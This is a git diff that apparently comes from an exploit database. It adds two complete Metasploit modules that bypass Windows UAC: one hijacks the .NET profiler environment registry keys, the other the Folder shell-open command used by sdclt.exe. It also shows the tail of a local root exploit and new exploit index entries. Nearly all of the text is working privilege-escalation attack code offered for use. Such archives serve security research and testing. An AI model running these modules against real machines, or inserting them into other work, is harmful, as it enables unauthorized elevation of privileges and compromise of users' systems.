Gem::Version.new(version_pair[1]) + return true + end + end + + return false + end + + def root? + id_output = cmd_exec('su - wow -c "id"') + + if id_output.include?('euid=0') || id_output.include?('uid=0') + print_good('Got root!') + return true + end + + print_error('Not root') + false + end + + def upload_and_chmodx(path, data) + print_status("Writing to #{path}") + rm_f(path) + write_file(path, data) + cmd_exec("chmod 0555 '#{path}'") + + register_file_for_cleanup(path) + end +end \ No newline at end of file diff --git a/exploits/windows/local/47695.rb b/exploits/windows/local/47695.rb new file mode 100755 index 000000000..1966ec60e --- /dev/null +++ b/exploits/windows/local/47695.rb @@ -0,0 +1,210 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Post::Windows::Priv + include Post::Windows::Runas + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Escalate UAC Protection Bypass (Via dot net profiler)', + 'Description' => %q( + Microsoft Windows allows for the automatic loading of a profiling COM object during + the launch of a CLR process based on certain environment variables ostensibly to + monitor execution. In this case, we abuse the profiler by pointing to a payload DLL + that will be launched as the profiling thread. This thread will run at the permission + level of the calling process, so an auto-elevating process will launch the DLL with + elevated permissions. In this case, we use gpedit.msc as the auto-elevated CLR + process, but others would work, too. + ), + 'License' => MSF_LICENSE, + 'Author' => [ + 'Casey Smith', # UAC bypass discovery and research + '"Stefan Kanthak" ', # UAC bypass discovery and research + 'bwatters-r7', # Module + ], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Targets' => [ + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultTarget' => 0, + 'Notes' => + { + 'SideEffects' => [ ARTIFACTS_ON_DISK ] + }, + 'References' => + [ + ['URL', 'https://seclists.org/fulldisclosure/2017/Jul/11'], + ['URL', 'https://offsec.provadys.com/UAC-bypass-dotnet.html'] + ], + 'DisclosureDate' => 'Mar 17 2017' + ) + ) + register_options( + [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])] + ) + + end + + def check + if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled? + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + def write_reg_value(registry_hash) + vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}") + begin + if not registry_key_exist?(registry_hash[:key_name]) + registry_createkey(registry_hash[:key_name]) + registry_hash[:delete_on_cleanup] = true + else + registry_hash[:delete_on_cleanup] = false + end + registry_setvaldata(registry_hash[:key_name], \ + registry_hash[:value_name], \ + registry_hash[:value_value], \ + registry_hash[:value_type]) + rescue Rex::Post::Meterpreter::RequestError => e + print_error(e.to_s) + end + end + + def remove_reg_value(registry_hash) + # we may have already deleted the key + return unless registry_key_exist?(registry_hash[:key_name]) + begin + if registry_hash[:delete_on_cleanup] + vprint_status("Deleting #{registry_hash[:key_name]} key") + registry_deletekey(registry_hash[:key_name]) + else + vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key") + registry_deleteval(registry_hash[:key_name], registry_hash[:value_name]) + end + rescue Rex::Post::Meterpreter::RequestError => e + print_bad("Unable to clean up registry") + print_error(e.to_s) + end + end + + def exploit + check_permissions! + case get_uac_level + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT + fail_with(Failure::NotVulnerable, + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + shell_execute_exe + return + end + + # get directory locations straight + win_dir = session.sys.config.getenv('windir') + vprint_status("win_dir = " + win_dir) + tmp_dir = session.sys.config.getenv('tmp') + vprint_status("tmp_dir = " + tmp_dir) + exploit_dir = win_dir + "\\System32\\" + vprint_status("exploit_dir = " + exploit_dir) + target_filepath = exploit_dir + "gpedit.msc" + vprint_status("target_filepath = " + target_filepath) + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll' + payload_pathname = tmp_dir + '\\' + payload_name + + # make payload + vprint_status("Making Payload") + vprint_status("payload_pathname = " + payload_pathname) + payload = generate_payload_dll + + uuid = SecureRandom.uuid + vprint_status("UUID = #{uuid}") + reg_keys = [] + # This reg key will not hurt anything in windows 10+, but is not required. + unless sysinfo['OS'] =~ /Windows (2016|10)/ + reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32", + value_name: '', + value_type: "REG_EXPAND_SZ", + value_value: payload_pathname, + delete_on_cleanup: false) + end + reg_keys.push(key_name: "HKCU\\Environment", + value_name: "COR_PROFILER", + value_type: "REG_SZ", + value_value: "{#{uuid}}", + delete_on_cleanup: false) + reg_keys.push(key_name: "HKCU\\Environment", + value_name: "COR_ENABLE_PROFILING", + value_type: "REG_SZ", + value_value: "1", + delete_on_cleanup: false) + reg_keys.push(key_name: "HKCU\\Environment", + value_name: "COR_PROFILER_PATH", + value_type: "REG_SZ", + value_value: payload_pathname, + delete_on_cleanup: false) + reg_keys.each do |key_hash| + write_reg_value(key_hash) + end + + # Upload payload + vprint_status("Uploading Payload to #{payload_pathname}") + write_file(payload_pathname, payload) + vprint_status("Payload Upload Complete") + + vprint_status("Launching " + target_filepath) + begin + session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true) + rescue Rex::Post::Meterpreter::RequestError => e + print_error(e.to_s) + end + print_warning("This exploit requires manual cleanup of '#{payload_pathname}!") + # wait for a few seconds before cleaning up + print_status("Please wait for session and cleanup....") + sleep(20) + vprint_status("Removing Registry Changes") + reg_keys.each do |key_hash| + remove_reg_value(key_hash) + end + vprint_status("Registry Changes Removed") + end + + def check_permissions! + unless check == Exploit::CheckCode::Appears + fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + end + fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? + # Check if you are an admin + # is_in_admin_group can be nil, true, or false + print_status('UAC is Enabled, checking level...') + vprint_status('Checking admin status...') + admin_group = is_in_admin_group? + if admin_group.nil? + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + else + if admin_group + print_good('Part of Administrators group! Continuing...') + else + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') + end + end + + if get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') + end + end +end \ No newline at end of file diff --git a/exploits/windows/local/47696.rb b/exploits/windows/local/47696.rb new file mode 100755 index 000000000..110dadb82 --- /dev/null +++ b/exploits/windows/local/47696.rb @@ -0,0 +1,165 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/exploit/exe' +require 'msf/core/exploit/powershell' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Post::Windows::Priv + include Post::Windows::Runas + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)', + 'Description' => %q( + This module will bypass Windows UAC by hijacking a special key in the Registry under + the current user hive, and inserting a custom command that will get invoked when + Window backup and restore is launched. It will spawn a second shell that has the UAC + flag turned off. + + This module modifies a registry key, but cleans up the key once the payload has + been invoked. + ), + 'License' => MSF_LICENSE, + 'Author' => [ + 'enigma0x3', # UAC bypass discovery and research + 'bwatters-r7', # Module + ], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Targets' => [ + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultTarget' => 0, + 'Notes' => + { + 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] + }, + 'References' => + [ + ['URL', 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/'], + ['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1'], + ['URL', 'https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass'] + ], + 'DisclosureDate' => 'Mar 17 2017' + ) + ) + register_options( + [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])] + ) + + end + + def check + if sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|10)/ && is_uac_enabled? + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + def write_reg_values(registry_key, payload_pathname) + begin + registry_createkey(registry_key) unless registry_key_exist?(registry_key) + registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ") + registry_setvaldata(registry_key, '', payload_pathname, "REG_SZ") + rescue ::Exception => e + print_error(e.to_s) + end + end + + def exploit + check_permissions! + case get_uac_level + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT + fail_with(Failure::NotVulnerable, + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + shell_execute_exe + return + end + + registry_key = 'HKCU\Software\Classes\Folder\shell\open\command' + remove_registry_key = !registry_key_exist?(registry_key) + + # get directory locations straight + win_dir = session.sys.config.getenv('windir') + vprint_status("win_dir = " + win_dir) + tmp_dir = session.sys.config.getenv('tmp') + vprint_status("tmp_dir = " + tmp_dir) + exploit_dir = win_dir + "\\System32\\" + vprint_status("exploit_dir = " + exploit_dir) + target_filepath = exploit_dir + "sdclt.exe" + vprint_status("exploit_file = " + target_filepath) + + # make payload + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe' + payload_pathname = tmp_dir + '\\' + payload_name + vprint_status("payload_pathname = " + payload_pathname) + vprint_status("Making Payload") + payload = generate_payload_exe + reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}" + vprint_status("reg_command = " + reg_command) + write_reg_values(registry_key, reg_command) + + # Upload payload + vprint_status("Uploading Payload to #{payload_pathname}") + write_file(payload_pathname, payload) + vprint_status("Payload Upload Complete") + + vprint_status("Launching " + target_filepath) + begin + session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true) + rescue ::Exception => e + print_error("Executing command failed:\n#{e}") + end + print_warning("This exploit requires manual cleanup of '#{payload_pathname}!") + # wait for a few seconds before cleaning up + print_status("Please wait for session and cleanup....") + sleep(20) + vprint_status("Removing Registry Changes") + if remove_registry_key + registry_deletekey(registry_key) + else + registry_deleteval(registry_key, "DelegateExecute") + registry_deleteval(registry_key, '') + end + print_status("Registry Changes Removed") + end + + def check_permissions! + unless check == Exploit::CheckCode::Appears + fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + end + fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? + # Check if you are an admin + # is_in_admin_group can be nil, true, or false + print_status('UAC is Enabled, checking level...') + vprint_status('Checking admin status...') + case is_in_admin_group? + when true + print_good('Part of Administrators group! Continuing...') + if get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') + end + when false + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') + when nil + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + end + end + +end \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index cd89d0b46..1a783c65e 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -6601,6 +6601,9 @@ id,file,description,date,author,type,platform,port 47677,exploits/hardware/dos/47677.sh,"Centova Cast 3.2.12 - Denial of Service (PoC)",2019-11-19,DroidU,dos,hardware, 47678,exploits/ios/dos/47678.py,"scadaApp for iOS 1.1.4.0 - 'Servername' Denial of Service (PoC)",2019-11-19,"Luis Martínez",dos,ios, 47679,exploits/windows/dos/47679.py,"XMedia Recode 3.4.8.6 - '.m3u' Denial Of Service",2019-11-19,ZwX,dos,windows, +47692,exploits/linux/dos/47692.txt,"Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Refcounting in overlayfs/shiftfs Error Path",2019-11-20,"Google Security Research",dos,linux, +47693,exploits/linux/dos/47693.txt,"Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs",2019-11-20,"Google Security Research",dos,linux, +47694,exploits/ios/dos/47694.txt,"iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd",2019-11-20,"Google Security Research",dos,ios, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -10789,6 +10792,9 @@ id,file,description,date,author,type,platform,port 47676,exploits/windows/local/47676.txt,"Studio 5000 Logix Designer 30.01.00 - 'FactoryTalk Activation Service' Unquoted Service Path",2019-11-19,"Luis Martínez",local,windows, 47684,exploits/windows/local/47684.md,"Microsoft Windows 10 Build 1803 < 1903 - 'COMahawk' Local Privilege Escalation",2019-11-14,TomahawkAPT69,local,windows, 47685,exploits/windows_x86-64/local/47685.txt,"DOUBLEPULSAR (x64) - Hooking 'srv!SrvTransactionNotImplemented' in 'srv!SrvTransaction2DispatchTable'",2019-11-03,Mumbai,local,windows_x86-64, +47695,exploits/windows/local/47695.rb,"Windows - Escalate UAC Protection Bypass (Via dot net profiler) (Metasploit)",2019-11-20,Metasploit,local,windows, +47696,exploits/windows/local/47696.rb,"Windows - Escalate UAC Protection Bypass (Via Shell Open Registry Key) (Metasploit)",2019-11-20,Metasploit,local,windows, +47701,exploits/unix/local/47701.rb,"Xorg X11 Server - Local Privilege Escalation (Metasploit)",2019-11-20,Metasploit,local,unix, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -17804,6 +17810,10 @@ id,file,description,date,author,type,platform,port 47673,exploits/linux/remote/47673.py,"nipper-ng 0.11.10 - Remote Buffer Overflow (PoC)",2019-11-18,"Guy Levin",remote,linux, 47683,exploits/windows_x86/remote/47683.py,"Microsoft Windows 7 (x86) - 'BlueKeep' Remote Desktop Protocol (RDP) Remote Windows Kernel Use After Free",2019-11-19,0xeb-bp,remote,windows_x86, 47686,exploits/linux/remote/47686.py,"Cisco Prime Infrastructure Health Monitor HA TarArchive - Directory Traversal / Remote Code Execution",2019-05-17,mr_me,remote,linux, +47697,exploits/multiple/remote/47697.rb,"FusionPBX - Operator Panel exec.php Command Execution (Metasploit)",2019-11-20,Metasploit,remote,multiple, +47698,exploits/multiple/remote/47698.rb,"FreeSWITCH - Event Socket Command Execution (Metasploit)",2019-11-20,Metasploit,remote,multiple, +47699,exploits/php/remote/47699.rb,"Bludit - Directory Traversal Image File Upload (Metasploit)",2019-11-20,Metasploit,remote,php, +47700,exploits/multiple/remote/47700.rb,"Pulse Secure VPN - Arbitrary Command Execution (Metasploit)",2019-11-20,Metasploit,remote,multiple, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, @@ -42001,3 +42011,4 @@ id,file,description,date,author,type,platform,port 47688,exploits/multiple/webapps/47688.md,"Apache Httpd mod_proxy - Error Page Cross-Site Scripting",2019-10-14,"Sebastian Neef",webapps,multiple, 47689,exploits/multiple/webapps/47689.md,"Apache Httpd mod_rewrite - Open Redirects",2019-10-14,"Sebastian Neef",webapps,multiple, 47690,exploits/multiple/webapps/47690.md,"WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts",2019-10-14,"Sebastian Neef",webapps,multiple, +47691,exploits/php/webapps/47691.sh,"OpenNetAdmin 18.1.1 - Remote Code Execution",2019-11-20,mattpascoe,webapps,php,